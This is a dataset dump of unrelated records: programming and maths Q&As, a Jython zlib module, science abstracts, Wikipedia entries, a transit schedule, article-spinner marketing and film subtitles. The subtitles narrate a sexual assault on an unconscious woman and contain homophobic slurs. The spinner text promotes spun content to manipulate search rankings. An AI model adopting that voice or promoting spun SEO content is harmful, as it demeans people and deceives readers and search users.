{"contents":"Q:\n\nDoes Node.js still support UDP broadcasting?\n\nI called dgram.setBroadcast(flag) and it returned a not yet implemented error on Node.js version v0.6.3.\nDoes Node.js still support UDP broadcasting? \nEdit: I found some discussions said that broadcast was removed in 0.5.x and probably be back in the future.\nstill not yet implemented in v0.6.6\nI tried 0.6.10 in windows 7 x64, the multicast did not work yet.\nvar dgram = require('dgram'); \nvar PACKET_LEN = 64; \nvar message = new Buffer(PACKET_LEN); \nvar client = dgram.createSocket(\"udp4\"); \nclient.setMulticastTTL(128); \n\/\/dgram.addMembership(multicastAddress, [multicastInterface]) \nclient.addMembership('234.18.128.10', \"172.18.128.64\") ; \n\/\/ dgram.send(buf, offset, length, port, address, [callback]) \nclient.send(message, 0, PACKET_LEN, 7000, \"234.18.128.10\"); \nclient.close(); \n\nI got an \"Error: addMembership EADDRNOTAVAIL\".\n\nafter ref here: https:\/\/github.com\/joyent\/node\/blob\/master\/test\/simple\/test-dgram-multicast-multi-process.js ,\nI finally make multicast work on my windows pc. \n\nnode ver=0.6.19\nvar dgram = require('dgram'); \nvar message = new Buffer('this is my message'); \n\nvar","metadata":{"pile_set_name":"StackExchange"},"id":659} {"contents":"client = dgram.createSocket(\"udp4\"); \nclient.bind();\nclient.setBroadcast(true)\nclient.setMulticastTTL(128); \nclient.send(message, 0, message.length, 5007, \"224.1.1.1\"); \nclient.close();\n\nA:\n\nToday's your lucky day: Datagram support was reintroduced in nodejs 0.6.9.\nhttp:\/\/blog.nodejs.org\/2012\/01\/27\/node-v0-6-9\/\n\n","metadata":{"pile_set_name":"StackExchange"},"id":660} {"contents":"Modulation of sea urchin actin mRNA prevalence during embryogenesis: nuclear synthesis and decay rate measurements of transcripts from five different genes.\nThe parameters determining the prevalence of the five actin gene transcripts that are differentially expressed during embryogenesis in the sea urchin Strongylocentrotus purpuratus were measured in vivo. These results and previous studies show that the developmental appearance of the cytoskeletal actin mRNA, CyI, CyIIa, CyIIb, and CyIIIa, and the muscle-specific actin message M, is transcriptionally regulated. The cytoskeletal actin genes are activated at the 64-cell stage or shortly thereafter. At this stage the specification of the early embryonic lineages has just completed. M gene transcription was detected only after muscle cells appear in the late embryo. The CyI, CyIIa, and CyIIb genes are transcribed at a moderate rate","metadata":{"pile_set_name":"PubMed Abstracts"},"id":661} {"contents":"that does not vary significantly during development. In contrast, during late cleavage CyIIIa transcripts are produced at the maximum rate observed for structural genes in this embryo. In later stages, CyIIIa transcription is reduced at least 30-fold. The rate at which new actin transcripts enter the cytoplasm was also measured. The data show that essentially all primary actin gene transcripts are processed into mature messages. Actin message stability does not change during development. The mRNA half-life of the various messages was found to range from 4 hr to greater than 14 hr.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":662} {"contents":"Q:\n\nThe annulus is connected without using path-connectedness\n\nHow to prove that this set $$\\{z\\in \\mathbb{C}, 1<|z|<2\\}$$ is connected ?\nThank you.\n\nA:\n\nOne way to prove it is to note that it is the continuous image of a connected set and is therefore connected. For example, consider the continuous function $f : (1, 2)\\times[0, 2\\pi) \\mapsto \\mathbb{C}$ given by $(r, \\theta) \\mapsto re^{i\\theta}$. The image of $f$ is precisely the annulus $\\{z \\in \\mathbb{C} \\mid 1 < |z| < 2\\}$.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":663} {"contents":"import jarray, binascii\n\nfrom java.util.zip import Adler32, Deflater, Inflater\nfrom java.lang import Long, String, StringBuffer\n\nclass error(Exception):\n pass\n\n\nDEFLATED = 8\nMAX_WBITS = 15\nDEF_MEM_LEVEL = 8\nZLIB_VERSION = \"1.1.3\"\nZ_BEST_COMPRESSION = 9\nZ_BEST_SPEED = 1\n\nZ_FILTERED = 1\nZ_HUFFMAN_ONLY = 2\n\nZ_DEFAULT_COMPRESSION = -1\nZ_DEFAULT_STRATEGY = 0\n\n# Most options are removed because java does not support them\n# Z_NO_FLUSH = 0\n# Z_SYNC_FLUSH = 2\n# Z_FULL_FLUSH = 3\nZ_FINISH = 4\n_valid_flush_modes = (Z_FINISH,)\n\ndef adler32(string, value=1):\n if value != 1: \n raise ValueError, \"adler32 only support start value of 1\"\n checksum = Adler32()\n checksum.update(String.getBytes(string))\n return Long(checksum.getValue()).intValue()\n\ndef crc32(string, value=0):\n return binascii.crc32(string, value)\n\n\ndef compress(string, level=6):\n if level < Z_BEST_SPEED or level > Z_BEST_COMPRESSION:\n ","metadata":{"pile_set_name":"Github"},"id":664} {"contents":" raise error, \"Bad compression level\"\n deflater = Deflater(level, 0)\n deflater.setInput(string, 0, len(string))\n deflater.finish()\n return _get_deflate_data(deflater)\n\ndef decompress(string, wbits=0, bufsize=16384):\n inflater = Inflater(wbits < 0)\n inflater.setInput(string)\n return _get_inflate_data(inflater)\n \n\nclass compressobj:\n # all jython uses wbits for is deciding whether to skip the header if it's negative\n def __init__(self, level=6, method=DEFLATED, wbits=MAX_WBITS,\n memLevel=0, strategy=0):\n if abs(wbits) > MAX_WBITS or abs(wbits) < 8:\n ","metadata":{"pile_set_name":"Github"},"id":665} {"contents":" raise ValueError, \"Invalid initialization option\"\n self.deflater = Deflater(level, wbits < 0)\n self.deflater.setStrategy(strategy)\n if wbits < 0:\n _get_deflate_data(self.deflater)\n self._ended = False\n\n def compress(self, string):\n if self._ended:\n raise error(\"compressobj may not be used after flush(Z_FINISH)\")\n self.deflater.setInput(string, 0, len(string))\n return _get_deflate_data(self.deflater)\n \n def flush(self,","metadata":{"pile_set_name":"Github"},"id":666} {"contents":"mode=Z_FINISH):\n if self._ended:\n raise error(\"compressobj may not be used after flush(Z_FINISH)\")\n if mode not in _valid_flush_modes:\n raise ValueError, \"Invalid flush option\"\n self.deflater.finish()\n last = _get_deflate_data(self.deflater)\n if mode == Z_FINISH:\n self.deflater.end()\n self._ended = True\n return last\n\nclass decompressobj:\n # all jython","metadata":{"pile_set_name":"Github"},"id":667} {"contents":"uses wbits for is deciding whether to skip the header if it's negative\n def __init__(self, wbits=MAX_WBITS):\n if abs(wbits) > MAX_WBITS or abs(wbits) < 8:\n raise ValueError, \"Invalid initialization option\"\n self.inflater = Inflater(wbits < 0)\n self.unused_data = \"\"\n self._ended = False\n\n def decompress(self, string, max_length=0):\n if self._ended:\n raise error(\"decompressobj may not be used after flush()\")\n \n ","metadata":{"pile_set_name":"Github"},"id":668} {"contents":" # unused_data is always \"\" until inflation is finished; then it is\n # the unused bytes of the input;\n # unconsumed_tail is whatever input was not used because max_length\n # was exceeded before inflation finished.\n # Thus, at most one of {unused_data, unconsumed_tail} may be non-empty.\n self.unused_data = \"\"\n self.unconsumed_tail = \"\"\n\n if max_length < 0:\n raise ValueError(\"max_length must be a positive integer\")\n\n ","metadata":{"pile_set_name":"Github"},"id":669} {"contents":" self.inflater.setInput(string)\n inflated = _get_inflate_data(self.inflater, max_length)\n\n r = self.inflater.getRemaining()\n if r:\n if max_length:\n self.unconsumed_tail = string[-r:]\n else:\n self.unused_data = string[-r:]\n \n return inflated\n\n def flush(self):\n if","metadata":{"pile_set_name":"Github"},"id":670} {"contents":"self._ended:\n raise error(\"decompressobj may not be used after flush()\")\n last = _get_inflate_data(self.inflater)\n self.inflater.end()\n return last\n\n\ndef _get_deflate_data(deflater):\n buf = jarray.zeros(1024, 'b')\n sb = StringBuffer()\n while not deflater.finished():\n l = deflater.deflate(buf)\n if l == 0:\n break\n sb.append(String(buf, 0, 0, l))\n return sb.toString()\n\n \ndef _get_inflate_data(inflater, max_length=0):\n ","metadata":{"pile_set_name":"Github"},"id":671} {"contents":" buf = jarray.zeros(1024, 'b')\n sb = StringBuffer()\n total = 0\n while not inflater.finished():\n if max_length:\n l = inflater.inflate(buf, 0, min(1024, max_length - total))\n else:\n l = inflater.inflate(buf)\n if l == 0:\n break\n\n total += l\n sb.append(String(buf, 0, 0, l))\n if max_length and total","metadata":{"pile_set_name":"Github"},"id":672} {"contents":"== max_length:\n break\n return sb.toString()\n","metadata":{"pile_set_name":"Github"},"id":673} {"contents":"Q:\n\nCan I re-use a roller tray liner?\n\nI am wondering if re-using a roller tray liner is asking for trouble. The old paint was white primer; the new paint is very slightly different white. Even if I scrape out all the possible flakes and thicker chunks of old paint, I'm wondering if the new paint will loosen up the old and create a mix \/ mess? I'm using Benjamin Moore Natura (White Dove OC17) on top of BM Natura zero VOC interior primer White 511 00.\n\nA:\n\nThere is a good chance that you will be perfectly fine. I've rolled out of trays I've let paint dry in with perfectly fine results when I got lazy and it was an area I wasn't concerned about (like a shed, inside of my","metadata":{"pile_set_name":"StackExchange"},"id":674} {"contents":"garage, etc...)\nHowever, based on which paint you chose, I'd say this is more important area, so why risk it?\nThere is a chance that the new wet paint plus the bending, flexing, or pressure of you rolling could loosen up some more pieces\/flakes.\nLiners are cheap, but if you really do plan on reusing them clean them up immediately after use to make it easier.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":675} {"contents":"Basic aromatic ring\n\nBasic aromatic rings are aromatic rings in which the lone pair of electrons of a ring-nitrogen atom is not part of the aromatic system and extends in the plane of the ring. This lone pair is responsible for the basicity of these nitrogenous bases, similar to the nitrogen atom in amines. In these compounds the nitrogen atom is not connected to a hydrogen atom. Basic aromatic compounds get protonated and form aromatic cations (e.g. pyridinium) under acidic conditions. Typical examples of basic aromatic rings are pyridine or quinoline. Several rings contain basic as well as non-basic nitrogen atoms, e.g. imidazole and purine. \n\nIn non-basic aromatic rings the lone pair of electrons of the nitrogen atom is delocalized and contributes to","metadata":{"pile_set_name":"Wikipedia (en)"},"id":676} {"contents":"the aromatic pi electron system. In these compounds the nitrogen atom is connected to a hydrogen atom. Examples of non-basic nitrogen-containing aromatic rings are pyrrole and indole.\n\nThe basic aromatic rings purines and pyrimidines are nucleobases found in DNA and RNA.\n\nSee also\n Simple aromatic ring\n\nCategory:Nitrogen heterocycles","metadata":{"pile_set_name":"Wikipedia (en)"},"id":677} {"contents":"A simple recipe--including just four ingredients--can transform adult human skin cells into cells that resemble embryonic stem cells, researchers report in the journal Cell. The converted cells have many of the physical, growth and genetic features typically found in embryonic stem cells and can differentiate to produce other tissue types, including neurons and heart tissue, according to the researchers.\n\nThey added, however, that a comprehensive screen of the activity of more than 30,000 genes showed that the so-called \"induced pluripotent stem (iPS) cells\" are similar, not identical, to embryonic stem cells. \"Pluripotent\" refers to the ability to differentiate into most other cell types.\n\nThe chemical cocktail used in the new study is identical to one the team showed could produce iPS cells from adult mouse cells in another Cell report","metadata":{"pile_set_name":"OpenWebText2"},"id":678} {"contents":"last year. That came as a surprise, said Shinya Yamanaka of Kyoto University in Japan, because human embryonic stem cells differ from those in mice. Those differences had led them to suspect \"that some other factors might be required to generate human iPS cells,\" he said.\n\nThe findings are an important step forward in the quest for embryonic stem cell-like cells that might sidestep the ethical stumbling blocks of stem cells obtained from human embryos. He emphasized, however, that it would be \"premature to conclude that iPS cells can replace embryonic stem cells.\"\n\nEmbryonic stem cells, derived from the inner cell mass of mammalian blastocysts--balls of cells that develop after fertilization and go on to form a developing embryo--have the ability to grow indefinitely while maintaining pluripotency, the researchers explained.","metadata":{"pile_set_name":"OpenWebText2"},"id":679} {"contents":"Those properties have led to expectations that human embryonic stem cells might have many scientific and clinical applications, most notably the potential to treat patients with various diseases and injuries, such as juvenile diabetes and spinal cord injury.\n\nThe use of human embryos, however, faces ethical controversies that hinder the applications of human embryonic stem cells, they continued. In addition, it is difficult to generate patient or disease-specific embryonic stem cells, which are required for their effective application. One way to circumvent these issues is to induce pluripotent status in other cells of the body by direct reprogramming, Yamanaka said.\n\nadvertisement\n\nLast year, his team found that four factors, known as Oct3\/4, Sox2, c-Myc, and Klf4, could lend differentiated fibroblast cells taken from embryonic or adult mice the pluripotency normally reserved","metadata":{"pile_set_name":"OpenWebText2"},"id":680} {"contents":"for embryonic stem cells. Fibroblasts make up structural fibers found in connective tissue. Those four factors are \"transcripton factors,\" meaning that they control the activity of other genes. They were also known to play a role in early embryos and embryonic stem cell identity.\n\nThe researchers have now shown that the same four factors can generate iPS cells from fibroblasts taken from human skin. \"From about 50,000 transfected human cells, we obtained approximately 10 iPS cell clones,\" Yamanaka said. \"This efficiency may sound very low, but it means that from one experiment, with a single ten centimeter dish, you can get multiple iPS cell lines.\"\n\nThe iPS cells were indistinguishable from embryonic stem cells in terms of their appearance and behavior in cell culture, they found. They also express genetic","metadata":{"pile_set_name":"OpenWebText2"},"id":681} {"contents":"markers that are used by scientists to identify embryonic stem cells. Human embryonic stem cells and iPS cells display similar patterns of global gene activity.\n\nThey showed that the converted human cells could differentiate to form three \"germ layers\" in cell culture. Those primary germ layers in embryos eventually give rise to all the body's tissues and organs. They further showed that the human iPS cells could give rise to neurons using a method earlier demonstrated for human embryonic stem cells. The iPS cells could also be made to produce cardiac muscle cells, they found. Indeed, after 12 days of differentiation, clumps of cells in the laboratory dishes started beating.\n\nThe human iPS cells injected under the skin of mice produced tumors after nine weeks. Those tumors contained various tissues","metadata":{"pile_set_name":"OpenWebText2"},"id":682} {"contents":"including gut-like epithelial tissue, striated muscle, cartilage and neural tissue. They finally showed that iPS cells can also be generated in the same way from other human cells.\n\n\"We should now be able to generate patient- and disease-specific iPS cells, and then make various cells, such as cardiac cells, liver cells and neural cells,\" Yamanaka said. \"These cells should be extremely useful in understanding disease mechanisms and screening effective and safe drugs. If we can overcome safety issues, we may be able to use human iPS cells in cell transplantation therapies.\"\n\nThe researchers include Kazutoshi Takahashi, Kyoto University, in Kyoto, Japan; Koji Tanabe, of Kyoto University, in Kyoto, Japan; Mari Ohnuki, of Kyoto University, in Kyoto, Japan; Megumi Narita, of Kyoto University, in Kyoto, Japan, and the Japan Science and","metadata":{"pile_set_name":"OpenWebText2"},"id":683} {"contents":"Technology Agency, in Kawaguchi, Japan; Tomoko Ichisaka, of Kyoto University, in Kyoto, Japan, and the Japan Science and Technology Agency, in Kawaguchi, Japan; Kiichiro Tomoda, of the Gladstone Institute of Cardiovascular Disease, San Francisco, CA, USA; and Shinya Yamanaka, of Kyoto University, in Kyoto, Japan, the Japan Science and Technology Agency, in Kawaguchi, Japan; and the Gladstone Institute of Cardiovascular Disease, in San Francisco, CA, USA","metadata":{"pile_set_name":"OpenWebText2"},"id":684} {"contents":"The MBTA is prepared for the July 4 festivities with an increase in service for the thousands of people traveling to and from the Esplanade. Along with more service; bus, subway, and commuter rail fares will not be collected from 10:30 p.m. to the end of service on Monday, July 4.\n\nWith the increase in service and addition of T personnel and Transit Police prepared to help customers to their destination, MBTA General Manager Rich Davey said, \u201cAs in past years, the MBTA will transport thousands of people into Boston for the July 4th festivities on the esplanade. We encourage folks to take advantage of the extra service and let the T do the driving.\u201d\n\nBelow is the MBTA\u2019s operating schedule for Monday, July 4.\n\nBlue, Green, Orange, and Red Lines","metadata":{"pile_set_name":"OpenWebText2"},"id":685} {"contents":"will operate on a Sunday schedule on July 4, with an enhanced schedule providing extra service for customers heading to and from the Esplanade.\n\n\n\nwill operate on a Sunday schedule on July 4, with an enhanced schedule providing extra service for customers heading to and from the Esplanade. Commuter rail trains will operate on a Saturday schedule with all of the last trains, but one, departing at 11:45 p.m. (approximately 45 minutes after the fireworks display ends).\n\n\n\nThe sole exception is Train #1173 to Newburyport*, which will depart North Station at 11:15 pm.\n\nLeaving North Station\n\nFitchburg 1415 11:30 pm 11:45 pm Haverhill 1225 11:30 pm 11:45 pm Lowell 1315 11:30 pm 11:45 pm Newburyport* 1173 10:15 pm 11:15 pm Rockport 1125 11:30 pm 11:45 pm\n\nLeaving South Station\n\nPLEASE NOTE: SUBWAY, BUS, COMMUTER","metadata":{"pile_set_name":"OpenWebText2"},"id":686} {"contents":"RAIL, and COMMUTER BOAT SERVICE WILL OPERATE ON A REGULAR WEEKDAY SCHEDULE ON TUESDAY, JULY 5.\n\n\n\nBus service will operate on a Sunday schedule on July 4, with extra bus service on key routes serving the Esplanade area:\n\n\n\nRoute #39 (Forest Hills Station -- Back Bay Station via Copley Square)\n\nRoute #57 (Watertown Square -- Kenmore Station via Brighton Center)\n\n\n\nSpecial express bus service between Arlington and Riverside Stations. This service will supplement Green Line service at the end of the fireworks display.\n\nFranklin\/Forge Park 1719 11:20 pm 11:45 pm Greenbush 1085 11:00 pm 11:45 pm Kingston 1041 10:40 pm 11:45 pm Middleboro 1015 10:50 pm 11:45 pm Needham 1617 10:45 pm 11:45 pm Providence 1817 11:10 pm 11:45 pmWorcester P567 11:00 pm 11:45 pm\n\nWATER TRANSPORTATION\n\nQuincy commuter ferry services to Long Wharf \/Logan","metadata":{"pile_set_name":"OpenWebText2"},"id":687} {"contents":"Airport, and Hull will operate on a Saturday schedule on July 2, 3, and 4.\n\nThe Charlestown Navy Yard to Long Wharf inner harbor ferry will operate on a weekend schedule on Monday, July 4.\n\nHingham commuter ferry will not operate on July 4.\n\nSpecial RIDE shuttle vans will be available to carry persons with disabilities between the Massachusetts Eye and Ear Infirmary parking lot and the Esplanade. This service will start at Noon and run through 6:00 p.m. for transportation to the seating area reserved for persons with disabilities. Return service will be available at the conclusion of the event.\n\nNote: There will be no extra charge for this shuttle, nor will there be any fare charged for service as customers depart the Esplanade.\n\nGet the most up to date information on","metadata":{"pile_set_name":"OpenWebText2"},"id":688} {"contents":"T service to the Esplanade at www.mbta.com or call the T\u2019s Customer Service Center at 617-222-3200.","metadata":{"pile_set_name":"OpenWebText2"},"id":689} {"contents":"Q:\n\nHow does Google Analytics filters duplicate site entrances\n\nWe are implementing a native analytics system and want to apply the same tracking principles Google Analytics uses. We've figured everything out but one thing:\nEvery time I refresh a page with an url that has utm-parameters attached to it, Google Analytics somehow figures out that it's not actually a visit but the same page that gets refreshed and shows only one visit in its dashboard from that particular source. \nIs anybody aware how GA specifically does that so I can replicate it in our system?\nI know that I can use\nperformance.navigation.type\n\nin my JS script, but it doesn't give me desired results.\nAny help would be much appreciated. \n\nA:\n\nAttribution in GA happens on the Google servers, so JavaScript will be of limited use. Basically","metadata":{"pile_set_name":"StackExchange"},"id":690} {"contents":"since a reload means that the user has the same client id and no change in the channel (source, medium and campaign are the same as in the previous visit) the existing session will be continued (a change of campaign\/source information would trigger a new Google Analytics session).\nGoogle has a very nice chart that explains how campaign information and traffic source information is processed.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":691} {"contents":"I've ranked websites in the past with spun content, and now they are still on #1 position of google. First year (2014) google found me because my spun was really bad, many paragraphs were just copied and my position drop from #2 to around #20 after a panda update. Later I cleaned all my text with better spun (I didn't buy any article!), my ranking went up again, and with more backlinks I reached #1 and it is still there\n\nSpin Rewriter 9 rewrites content on paragraph, word and sentence level. It also turns sentences around and makes sure that only appropriate synonyms are used. Aaron added a special ARTICLE GENERATING ALGORITHM to Spin Rewriter 9.0. This algorithm makes sure that the generated articles are even more unique, and","metadata":{"pile_set_name":"Pile-CC"},"id":692} {"contents":"even more readable \u2014 if that was even possible!\nLooking at both spinner\u2019s spun articles, they both seem to generate spun content that looks pretty good. Both have some grammar issues I would correct if I was posting it on a high tier 1 site, but overall SpinnerChief produced better content. Not sure if WordAi is being overly aggressive on the spins at the cost of quality. This test is very hard to call. If you go by raw numbers, SpinnerChief won. I want to leave this up to you to decide which one won. Winner none \u2013 draw!\nSome writers search for mountains of inexpensive private label rights articles and edit them before posting them. These PLR articles might maybe not be the finest quality but something can be","metadata":{"pile_set_name":"Pile-CC"},"id":693} {"contents":"increased by the rewriting. These PLR articles are utilized as a result of fact that actually although the quality is poor, they nevertheless have aided attract visitors.\nUse Article Rewriter to rewrite or paraphrase articles, full-length essays, or to find different and better ways to express simple words, phrases, or sentences. Whether you wish to reproduce textual content for a website, business document, email, tweet, or term paper, article rewriter will do the trick. Facilitate essay writing, expand your blogs and enhance your website\u2019s online visibility with quality content now.\nFinest spinner in the market today and more for me because saves a lot of my time... Earlier i have used the best spinner but this spinner is 10 times better faster, easy to use, and articles make more sense,","metadata":{"pile_set_name":"Pile-CC"},"id":694} {"contents":"unique, also helps in preparing new articles and spins same article into hundred of more articles for back-linking, etc. 2 thumbs-up... simple and easy to use...\nSome writers search for mountains of inexpensive private label rights articles and edit them before posting them. These PLR articles might maybe not be the finest quality but something can be increased by the rewriting. These PLR articles are utilized as a result of fact that actually although the quality is poor, they nevertheless have aided attract visitors.\nNow, remember that the above example was using the \u201cVery Readable\u201d setting of WordAI. Let\u2019s see what content will be generated if we use the \u201cReadable\u201d setting. Just a quick note here that this time it took about 20 seconds for WordAI to finish the spin,","metadata":{"pile_set_name":"Pile-CC"},"id":695} {"contents":"so the setting we are playing with definitely has some effect and is not there just for marketing purposes:\nNot sure about version 1, but I'm testing version 2 right now and I have to say it's the best auto spinner I've seen bar none. The content is actually extremely readable and probably better than the manual spins a lot of people do out there. However, some of the content doesn't pass copyscape so make sure you play around with the settings. Minor edits should do the trick. I'm on the trial now but seriously thinking of keeping the Turing plan for my Tier 1 content.\nIt is also very helpful for people who struggle with the English language in general and writing in particular. A free article spinner or","metadata":{"pile_set_name":"Pile-CC"},"id":696} {"contents":"paraphrase tool makes it easier for them to get new content with minimal effort. The quality of content created with article rewriter is close to human written content if not equally good. To ensure the quality, you can edit content to fix any errors.\nA website with lots of unique and human-readable content is going to give you the best ROI. The more quality readable content your website has, the more exposure it will get from major search engines such as Google & Yahoo. But creating unique content takes time as you first need to develop content creation strategies and then you need some hours to write a full SEO optimized content. How great it would be if you can produce quality content within minutes! Yes, it's possible with","metadata":{"pile_set_name":"Pile-CC"},"id":697} {"contents":"the help of this free Article Rewriter Tool developed by SeoToolStation.\n\nIdeas are the sure products in the intricate brain functions of the system. Although there are amicable standards in the part of article ownership, what clients will only have to remember is to maintain a direct address for article data-keeping. The demands in the internet for competitive articles and products for website management will answer it all.\n\nHaving a continuous flow of fresh, human-readable text is the best way for your website or blog to gain search engine exposure. Content is King, as they say ... at least as important as basic search engine optimization. Thus, Spinbot can be a vital tool for anyone who wants to market their website or product online as quickly and efficiently as possible.","metadata":{"pile_set_name":"Pile-CC"},"id":698} {"contents":"With all the unique, quality textual content you could ever want, you will quickly gain legitimate web visibility, both in terms of human readership and search engine exposure.\nWords have the uncanny ability to create magic. Often a group of words is rewritten to achieve various purposes. Either if you are a student, blogger, author or writing in any capacity; you need to play with your words to create magic for the reader. Rewriting is a very useful tool for a lot of people. The best way to rewrite something is to do it yourself and with your own knowledge. Often this is restricted by lack of time and vocabulary. It takes up to hours, days or even weeks to rewrite something depending upon the length of it. No","metadata":{"pile_set_name":"Pile-CC"},"id":699} {"contents":"matter how good you are in the language, there comes a point where your knowledge starts to drain out.","metadata":{"pile_set_name":"Pile-CC"},"id":700} {"contents":"Huron River (northern Michigan)\n\nThe Huron River is a river in the northern Upper Peninsula of Michigan in the United States. Locally, it is commonly called the Big Huron River to distinguish it from the nearby Little Huron River. Another much larger Huron River is in Southeast Michigan.\n\nThe east and west branches of the Big Huron rise in L'Anse Township in eastern Baraga County, southeast of Mount Arvon, near the boundary with Marquette County. The East Branch runs through a corner of Marquette County before flowing back into Baraga County. The east and west branches merge in Arvon Township shortly before flowing into Lake Superior a few miles east of Huron Bay.\n\nThe Huron River is almost completely unmodified and undeveloped by humans. It flows almost entirely through","metadata":{"pile_set_name":"Wikipedia (en)"},"id":701} {"contents":"woodlands and includes a number low waterfalls and rapids. The National Park Service ranks it highly in its Nationwide Rivers Inventory for scenery and geology.\n\nThe river is highly regarded for its sport fishing, especially for steelhead trout. Camping and canoeing are also popular, though both are considered difficult due to a lack of supporting facilities.\n\nScenic waterfalls\nThe following is a partial list of waterfalls along the Huron River and its branches, generally listed in order heading upstream.\n\nHuron River, mainstream\nLower Huron Falls (Big Erick's Falls)\n\nHuron River East Branch\nEast Branch Falls\nBig Falls\n\nHuron River West Branch\nWest Branch Falls\nLower Letherby Falls\nLeatherby Falls\nUpper Leatherby Falls\n\nReferences\n\nCategory:Rivers of Michigan\nCategory:Tributaries of Lake Superior\nCategory:Waterfalls of Michigan\nCategory:Rivers of Baraga County, Michigan\nCategory:Rivers of Marquette County, Michigan","metadata":{"pile_set_name":"Wikipedia (en)"},"id":702} {"contents":"\"It's a story that might bore you, but you don't have to listen, because I always knew it was going to be like that.\" \"( techno music playing )\" \"Woman:\" \"And it was, I think, in that last year, or weekend-- really a Friday in December at Camden-- and this was years ago, when I was a different person and I was so drunk that I ended up losing my virginity.\" \"I lost it to some guy who I thought was a Ceramics major, but was actually either a NYU film student who was just up to Camden for the \"End of the World,\"\" \"or a townie.\" \"I actually had my eye on someone else that night\" \" Victor.\" \"I'm telling you, with European girls, it's just a","metadata":{"pile_set_name":"OpenSubtitles"},"id":703} {"contents":"numbers game.\" \"If you stand in any major European city on any fucking corner, and consecutively ask every girl that walks by if she'll fuck you, one out of 20 will say \"yes.\"\" \"Woman:\" \"A junior, a Drama major, just back from Europe... only a little gay, with flecked blond hair, a great body and these amazing gray eyes.\" \"Bam-- 20th one, you're fucking.\" \"Right there.\" \"It's a confirmed statistic, my man.\" \"Woman:\" \"But Victor was fucking my roommate, Lara.\" \"She gave him mono before he dumped her.\" \"I'm told that later, after I left Camden, she got really drunk and went wandering through Windham House, and did the whole football team.\" \"( music plays )\" \"Man:\" \"White girl...\" \"She's now married to a senator and has four","metadata":{"pile_set_name":"OpenSubtitles"},"id":704} {"contents":"kids.\" \"How time distorts things.\" \"So you know the movie I'm talking about?\" \"It was wrongfully labeled \"A Tarantino Film,\"\" \"even though he was just credited as executive producer.\" \"So this guy from NYU, or whatever-- who wasn't even a good Victor facsimile-- and I were talking on this ratty old couch.\" \"I'm sure you've seen this movie, this Russian classic,\" \" \"The Man with the Camera\"?\" \" Yep, yep.\" \"I kept agreeing with his likes and dislikes, all the time thinking that while he might not be Victor, he was cute enough.\" \"It's real.\" \"It's like real... shit.\" \"I was sure that I was mispronouncing all these filmmakers' names, remembering all the wrong actors, naming the wrong cinematographers, but I wanted him.\" \"...I see the same kind","metadata":{"pile_set_name":"OpenSubtitles"},"id":705} {"contents":"of \"silent movie actress\" quality.\" \"Seriously, has anyone ever told you you look like Clara Bow?\" \"Because you do, I'm serious.\" \"I'm telling you.\" \"I know these things, and...\" \"and...\" \"Woman:\" \"I could see that his gaze was drifting towards Kristin Notneff.\" \"And she was looking back at him with confidence, because she knew that underneath her clothes she was wearing a black bra with matching black lace panties, which I wasn't.\" \"Um, I'm sorry, what was I talking about?\" \"Woman:\" \"But I had the next best thing.\" \"I've got a joint in my room.\" \"Except it wasn't my room.\" \"It was Lorna Slavin's room, who was off-campus at her boyfriend's house, probably swallowing his DNA.\" \"And I didn't have a joint either, and if I did, I","metadata":{"pile_set_name":"OpenSubtitles"},"id":706} {"contents":"didn't know where it was, because it would have been Lorna Slavin's joint.\" \"He wouldn't have cared if I had one or not.\" \"I must have passed out around then.\" \"When I came to, he was already fucking me, but he didn't know that I was a virgin and that it hurt.\" \"Not that badly-- only a little bit of sharp pain, but not as bad as I had been taught to expect-- but not exactly pleasant, either.\" \"That's when I heard another voice in the room.\" \"Now, I want you to do her like Ron Jeremy would.\" \"Woman:\" \"I remember the weight on the bed shifting, and realizing that this person behind me wasn't the NYU film student guy, but somebody else.\" \"Oh, my God, it was","metadata":{"pile_set_name":"OpenSubtitles"},"id":707} {"contents":"some townie.\" \"I had actually lost my virginity to a townie.\" \"( boy grunting )\" \"This wouldn't have happened with Victor.\" \"He would have taken me gently in his big, strong Drama major arms, and undressed me quietly and expertly, taken my bra off with grace and ease.\" \"And it probably wouldn't have hurt.\" \"I should have given myself to Victor last term when I had the chance.\" \"( door bangs )\" \"Dude, we had to put the keg somewhere.\" \"Don't put it there, it's blocking my shot.\" \"Now get the fuck out of here before you ruin my movie.\" \"( gasping )\" \"Woman:\" \"I always knew it would be like this.\" \"I just get the feeling my life lacks forward momentum.\" \"Like everything is moving by so","metadata":{"pile_set_name":"OpenSubtitles"},"id":708} {"contents":"quickly that time just seems to stop.\" \"( pool break shot )\" \"Man's voice:\" \"Sometimes I can't believe the shit that spills out of my mouth.\" \"So while I talk about God knows what,\" \"I let my eyes drift across the room, as my mouth allows thoughts to drop out of my brain and roll off my tongue like gumballs,\" \"I imagine all the things in life that never were, and all the things that could have been.\" \"He'll do.\" \"I like this song.\" \"Man's voice:\" \"Gay song, definitely.\" \"Do you have any E?\" \"That shit makes your spinal fluid run backwards.\" \" I may have some up in my room.\" \" You're game, right?\" \"No one's twisting your arm.\" \"I don't even know why I'm trying to","metadata":{"pile_set_name":"OpenSubtitles"},"id":709} {"contents":"convince you.\" \"Let's do it.\" \"I think it's kicking in.\" \"I feel it now, too.\" \"Man's voice:\" \"The truth is, I feel nothing.\" \"What the fuck!\" \" Sorry, I thought you were gay.\" \" Fuck you, I'm no fag!\" \"You sure about that?\" \"I definitely detect a certain \"faggy-ness\" to you.\" \"Get the fuck outta here, you fucking homo!\" \"I'm not gay.\" \"You're lucky I don't kill you.\" \"Luck has nothing to do with it.\" \"Everything is preordained.\" \"Manifest destiny.\" \"You can stop time from happening no more than you can will the oceans to overwhelm the world, or to cause the moon to drop from her outer sphere.\" \"Three months later, the handsome dunce had an affair with a friend of mine.\" \"Within a year, he was","metadata":{"pile_set_name":"OpenSubtitles"},"id":710} {"contents":"a full-blown queen and telling people I couldn't get it up.\" \"Luck has nothing to do with anything.\" \"Man's voice:\" \"A great numb feeling washes over me as I let go of the past and look forward to the future.\" \"I pretend to be a vampire.\" \"I don't really need to pretend, because that's who I am, an emotional vampire.\" \"I've just come to expect it-- that vampires are real, that I was born this way, that I feed off of other people's real emotions.\" \"I search for this night's prey.\" \"Who will it be?\" \"You look familiar-- have we met?\" \"I think I fucked her somewhere toward the beginning of term, the \"Wet Wednesday\" party.\" \"No.\" \" What's your name?\" \" Peter.\" \"Really?\" \"Aren't you a senior?\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":711} {"contents":"\"No, a 